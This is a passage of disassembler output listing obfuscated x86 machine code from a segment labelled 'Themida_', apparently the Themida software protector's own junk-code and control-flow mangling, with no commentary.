; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59B4BC:				; CODE XREF: sub_597F0C:loc_5A7AA5j
		or	cl, 37h
		jmp	loc_5A9399
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B4C4:				; CODE XREF: sub_59D99C+9D7Ej
		shl	bp, 4
		jmp	loc_59B808
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59B4CD:				; CODE XREF: sub_59C53B-1E38j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 45301C23h
		xor	ebp, 78119DBh
		and	ebp, 71F21BB1h
		push	edx
		mov	edx, 40B001ACh
		jmp	loc_599BC9
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59B4EC:				; CODE XREF: sub_5A95E0-A1Fj
		mov	ecx, [esp+8+var_8]
		push	esi
		jmp	loc_59FCEF
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59B4F5:				; CODE XREF: sub_5A8C33-26B2j
		neg	edx
		push	1396h
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 32567B53h
		xor	edx, ebx
		pop	ebx
		or	edx, 39B50A01h
		add	edx, 2C386F88h
		sub	eax, 1F6D4BB1h
		sub	eax, edx
		add	eax, 1F6D4BB1h
		push	[esp-14h+arg_10]
		jmp	loc_5AA271
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B527:				; CODE XREF: sub_59D99C-55D1j
		jns	loc_5AD275
		push	edi
		push	13FAh
		mov	[esp+0], ebx
		mov	ch, bh
		mov	edx, ecx


loc_59B53A:				; CODE XREF: Themida_:005A558Aj
		push	191Ah
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 63344BBFh
		or	esi, 0E1E7C41h
		js	loc_59EC45
		shl	esi, 1
		jnz	loc_5AEB9D
		push	2299h
		jmp	loc_5A2A16
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59B56C:				; CODE XREF: sub_5A728F-355Aj
		add	esp, 4
		sub	edi, 76484B40h
		jmp	loc_5A30C3
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_59B57A:				; CODE XREF: sub_59D00D+17j
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	ecx
		push	48A3h
		mov	[esp+0Ch+var_C], esp
		push	ecx
		mov	ecx, 4
		add	[esp+10h+var_C], 69076311h
		add	[esp+10h+var_C], ecx
		sub	[esp+10h+var_C], 69076311h
		jmp	loc_5A35E8
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------


loc_59B5AC:				; CODE XREF: Themida_:0059D2A6j
		add	dl, 9Ah
		mov	ch, dl
		pop	edx
		add	al, ch
		pop	cx
		push	6F3Fh
		jmp	loc_59EC63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59B5C0:				; CODE XREF: sub_599059+1406Ej
		shr	edx, 7
		jz	loc_5AA322
		sub	edx, 682D4C79h
		jbe	loc_5AA19D
		xor	edx, 98633D8Dh
		sub	edi, 695A282Dh
		push	esi


loc_59B5E2:				; CODE XREF: sub_59FFBE+7CB3j
		add	eax, [ebx]
		mov	ebx, [esp-6+arg_0+2]
		add	esp, 4
		pop	edx
		push	1744h
		mov	[esp-0Ah+arg_6], eax
		jmp	loc_5A30A8
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_59B5F8:				; CODE XREF: sub_5ADDCC-55CAj
		mov	esp, [esp+0]
		jmp	loc_5AC408
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_59B600:				; CODE XREF: sub_5ADE3B-9115j
					; Themida_:005A5D15j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		mov	dh, 28h
		push	ecx
		mov	ch, dh
		not	ch
		mov	dh, ch
		jmp	loc_5A86F9
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------


loc_59B615:				; CODE XREF: Themida_:005AEAA4j
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_59F77B
; ---------------------------------------------------------------------------


loc_59B624:				; CODE XREF: Themida_:005A618Aj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	296Eh
		mov	[esp], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5AA8EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59B642:				; CODE XREF: sub_59A932+BF90j
		add	eax, 77E79104h
		mov	ebx, eax
		pop	eax
		add	ecx, 309D386Ch
		jmp	loc_5AB939
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B655:				; CODE XREF: Themida_:0059BB03j
					; sub_5AC95F-E337j
		jmp	loc_59E0C8
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59B65A:				; CODE XREF: sub_599059+4699j
		mov	ebp, 461B54A6h
		jmp	loc_59C190
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59B664:				; CODE XREF: sub_598D16+89A1j
		add	ebx, 5C537685h
		jo	sub_5A1ED0
		shr	ebx, 3
		shr	ebx, 8
		jmp	loc_5A1630
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_59B67B:				; CODE XREF: Themida_:005AD0FEj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_598403
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_59B690:				; CODE XREF: sub_5A17D6-50Fj
		add	edi, 9934903h
		and	edi, 72E13034h
		push	ebx
		mov	ebx, 483955C4h
		jmp	loc_5AF0B7
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B6A7:				; CODE XREF: sub_59D99C-188Ej
		push	ecx
		mov	ecx, 31564E08h
		add	eax, ecx
		pop	ecx
		add	eax, ebx
		push	ebx
		mov	ebx, 31564E08h
		sub	eax, ebx
		pop	ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_599C99
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59B6C6:				; CODE XREF: Themida_:005ADF4Cj
		mov	ebp, 1AD47540h
		add	esi, ebp
		pop	ebp
		add	esi, 744A10BFh
		add	esi, eax
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		push	470D4AB7h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5ADF27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7CF9


loc_59B6EE:				; CODE XREF: sub_5A7CF9+Cj
		push	ecx
		xor	[esp+0Ch+var_C], edx
		jmp	loc_5A920D
; END OF FUNCTION CHUNK	FOR sub_5A7CF9
; ---------------------------------------------------------------------------


loc_59B6F7:				; CODE XREF: Themida_:005A1A47j
		mov	edi, 337C23FDh
		jmp	loc_5ADB1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59B701:				; CODE XREF: sub_59FFBE+B66j
		push	eax
		jmp	loc_59910A
; END OF FUNCTION CHUNK	FOR sub_59FFBE

; =============== S U B	R O U T	I N E =======================================



sub_59B707	proc near		; CODE XREF: sub_59A932+4C26j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_2		= dword	ptr  6
arg_6		= dword	ptr  0Ah
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00597BBA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00598032 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059817E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598770 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005988D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059890E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598EE1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005996F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059995C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00599B4B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059A96A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B0FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059B192 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059B7BC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059BA12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BB57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BC21 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059BE3D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059BF8E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CAA3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CBCC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059CC02 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D93D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DF33 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059E033 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059E321 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059EAF1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059EFDE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059F0B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F74F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A05EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0E7B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1278 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1563 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A15AB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A16D2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1918 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A1B54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A1E13 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A2F99 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A30F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A31AF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A32D7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A3412 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3465 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A36C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3CC9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3D0B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3FA6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A3FD9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A428E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A42BA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4876 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A4E96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4FF3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A51E4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A53FD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A5640 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5D35 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A630B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A6390 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A6501 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A67BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A67DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A683C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A6B6A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A6C7E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6FB5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A6FDC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A70B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7C41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A816B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A81C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A81F4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A8B86 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A9116 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A9552 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9E08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA313 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA53B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA6F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAC64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB266 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AB469 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ABE3C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AC07B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AC9C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACB31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACE59 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACEC0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005ACF48 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AD719 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD77A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD7E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AD862 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ADA6C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ADD1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ADE88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AE513 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AE749 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AED35 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 253C26EAh
		and	ebx, 73AF3A85h
		xor	ebx, 41225F27h
		add	ebx, 2CBB14D4h
		add	ebx, 549903CAh
		inc	ebx
		add	ebx, 15CB20E5h
		sub	esi, ebx
		jmp	loc_5A5204
sub_59B707	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59B733:				; CODE XREF: Themida_:0059A351j
		neg	ebx
		sub	ebx, 7EDA2B97h
		jmp	loc_5A34D1
; ---------------------------------------------------------------------------


loc_59B740:				; CODE XREF: Themida_:005A9807j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 161638AAh
		pop	ecx
		jmp	loc_5A967F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59B752:				; CODE XREF: sub_59D24A+C896j
		push	esp
		mov	esi, [esp-6+arg_2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A4C1B
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59B764:				; CODE XREF: sub_5A8D43+5DCDj
		add	edi, 0AC59E501h
		add	ecx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AEF15
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59B795:				; CODE XREF: sub_5A8C33+342Aj
		mov	eax, edx
		mov	edx, [esp-10h+arg_C]
		jmp	loc_5A1081
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B79F:				; CODE XREF: sub_5AC95F-8F98j
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 52350E8Dh
		shl	ebx, 8
		push	ebx
		not	[esp+10h+var_10]
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		neg	ebx
		push	esi
		jmp	loc_5A51BF
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59B7BC:				; CODE XREF: sub_59B707-2DF2j
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		xor	al, ch
		mov	cx, [esp+0]
		push	eax
		push	esp
		jmp	loc_598770
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59B7D5:				; CODE XREF: sub_5AB88E-EC6Aj
		mov	edx, 0FFFFFFFFh
		sub	edi, edx
		pop	edx
		jmp	loc_59A24A
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59B7E2:				; CODE XREF: sub_597F0C+11E37j
		jmp	loc_5AE7F5
; END OF FUNCTION CHUNK	FOR sub_597F0C

; =============== S U B	R O U T	I N E =======================================



sub_59B7E7	proc near		; DATA XREF: Themida_:0059791Co

var_4		= dword	ptr -4

		mov	ax, [esp+0]
		push	5659h
		mov	[esp+4+var_4], esi
		sub	esp, 4
		jmp	loc_5A520A
sub_59B7E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59B7FB:				; CODE XREF: sub_5A28BE+314Aj
		pop	edx
		jmp	loc_5A63F3
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BC90


loc_59B801:				; CODE XREF: sub_59BC90+9j
		mov	dl, 0E2h
		jmp	sub_5AB98B
; END OF FUNCTION CHUNK	FOR sub_59BC90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B808:				; CODE XREF: sub_59D99C-24D4j
		add	bp, 7911h
		neg	bp
		xor	bp, 0FD44h
		jmp	loc_5996DD
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B81A:				; CODE XREF: sub_5A8C33-3F64j
					; sub_5AC95F-583Aj
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		add	edi, 4
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B836:				; CODE XREF: sub_59D99C+B08Bj
		add	eax, 39D52B2h
		jg	loc_5AD315
		push	74EEh
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 4603237Dh


loc_59B84E:				; CODE XREF: sub_5AB531-2E63j
		xor	edx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		add	byte ptr [esp+1Ah+var_1C+2], al
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_59B85D:				; CODE XREF: sub_5A3B73+6j
		add	edx, 50684E62h
		add	edx, ebp
		jmp	loc_5A1435
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59B86A:				; CODE XREF: sub_59CA4A+FC31j
		mov	[esp-4+arg_0], edi
		mov	edi, 6E1C3CD4h
		xor	edi, 98165F2h
		jmp	loc_5ADA7D
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_59B87D:				; CODE XREF: sub_5AC9FF-14477j
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		jmp	loc_5AD74C
; END OF FUNCTION CHUNK	FOR sub_5AC9FF
; ---------------------------------------------------------------------------


loc_59B88D:				; CODE XREF: Themida_:0059A13Cj
		add	ebp, 4
		jmp	loc_5ABDE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B898:				; CODE XREF: sub_5AC95F-10F3j
		pop	ebx
		jmp	loc_5A82B0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE589


loc_59B89E:				; CODE XREF: sub_5AE589-14344j
		pop	ecx
		jmp	loc_5A9856
; END OF FUNCTION CHUNK	FOR sub_5AE589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59B8A4:				; CODE XREF: sub_59DFDD+Dj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		jmp	loc_5A6361
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A462F


loc_59B8BB:				; CODE XREF: sub_5A462F+4791j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-8+arg_0]
		pop	esp
		or	[edi+1Ch], ebx
		mov	ebx, [esp-0Ch+arg_4]
		add	esp, 4


loc_59B8CE:				; CODE XREF: sub_5A94F5+14B0j
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebx
		sub	[esp-0Ch+arg_4], 3090B24h
		mov	ebx, [esp-0Ch+arg_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59C170
; END OF FUNCTION CHUNK	FOR sub_5A462F
; ---------------------------------------------------------------------------


loc_59B8EF:				; CODE XREF: Themida_:005A22C0j
		push	eax
		mov	eax, esp
		push	ecx
		push	5DC9h
		mov	[esp], edx
		mov	edx, 65BC4F36h
		jmp	loc_598242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59B905:				; CODE XREF: sub_5AB3DC-D58Fj
		neg	edi
		add	edi, 5E738EA9h
		jmp	loc_5AEEB3
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_59B912:				; CODE XREF: sub_5AD8C7-40Aj
		shl	edx, 7
		xor	edx, 68D502E3h
		xor	edi, edx
		pop	edx
		jmp	loc_5A7989
; END OF FUNCTION CHUNK	FOR sub_5AD8C7

; =============== S U B	R O U T	I N E =======================================



sub_59B923	proc near		; CODE XREF: sub_599721+93EDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005987A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00599399 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A109 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E844 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0584 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A23EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A39FD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A4BCC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5859 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8CFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB9FD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005ADD39 SIZE 0000005D BYTES

		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+4+var_4]
		jmp	loc_5987A0
sub_59B923	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_59B934:				; CODE XREF: sub_59F20F-5FD8j
		pop	esp
		jmp	loc_5A3489
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_59B93A:				; CODE XREF: Themida_:005A7856j
		mov	[esp], edx
		jmp	loc_59BC00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59B942:				; CODE XREF: sub_59D99C+561Aj
		push	edi
		mov	edi, 61E50F3h
		jmp	loc_5A1A10
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59B94D:				; CODE XREF: sub_5A8D43-A5A7j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ecx
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, 3BB61D5Eh
		add	ecx, ebx
		sub	ecx, 3BB61D5Eh
		push	[esp+8+var_8]
		pop	ebx
		push	ebp
		jmp	loc_5A3530
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59B984:				; CODE XREF: sub_5AB98B-D68j
		push	2764h
		mov	[esp-4+arg_0], ecx
		mov	cl, 38h
		xor	cl, bh
		xor	bh, cl
		xor	cl, bh
		push	cx
		mov	ch, 0FFh
		jmp	loc_598641
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_59B99D:				; CODE XREF: sub_59EB21+5A13j
		xor	esi, ebx
		xor	ebx, esi
		xchg	ecx, esi
		jmp	loc_5ACF2B
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_59B9A8:				; CODE XREF: sub_5A72FB-4EA8j
		mov	[esp+8+var_8], ebx
		mov	ebx, 7FFD6508h
		shl	ebx, 3
		not	ebx
		shl	ebx, 7
		shl	ebx, 8
		and	ebx, 398B6F45h
		sub	ebx, 5F9627C8h
		jmp	loc_5A6A7B
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59B9CC:				; CODE XREF: sub_5AC95F-12672j
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+10h+var_C]
		mov	eax, [esp+14h+var_14]
		jmp	loc_59C612
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59B9E4:				; CODE XREF: Themida_:005AE425j
		inc	ebx
		or	ebx, 40274899h
		jmp	loc_5A7D0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_59B9F0:				; CODE XREF: sub_598D67+129EBj
		mov	esp, [esp-8+arg_4]
		or	eax, eax
		jnz	loc_5AE292
		push	1
		mov	edx, [esp-4+arg_0]
		push	799Ch
		mov	[esp+0], ecx
		mov	ecx, esp
		jmp	loc_5A36D6
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59BA12:				; CODE XREF: sub_59B707:loc_5AA53Bj
		jmp	loc_5AA6F5
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_59BA17:				; CODE XREF: sub_5A484D:loc_59E91Bj
		sub	ebp, 3D0639FDh
		jmp	loc_59C8D6
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59BA22:				; CODE XREF: sub_5A91EC+37D3j
		mov	ebx, 0A784EAEAh
		add	ebx, esi
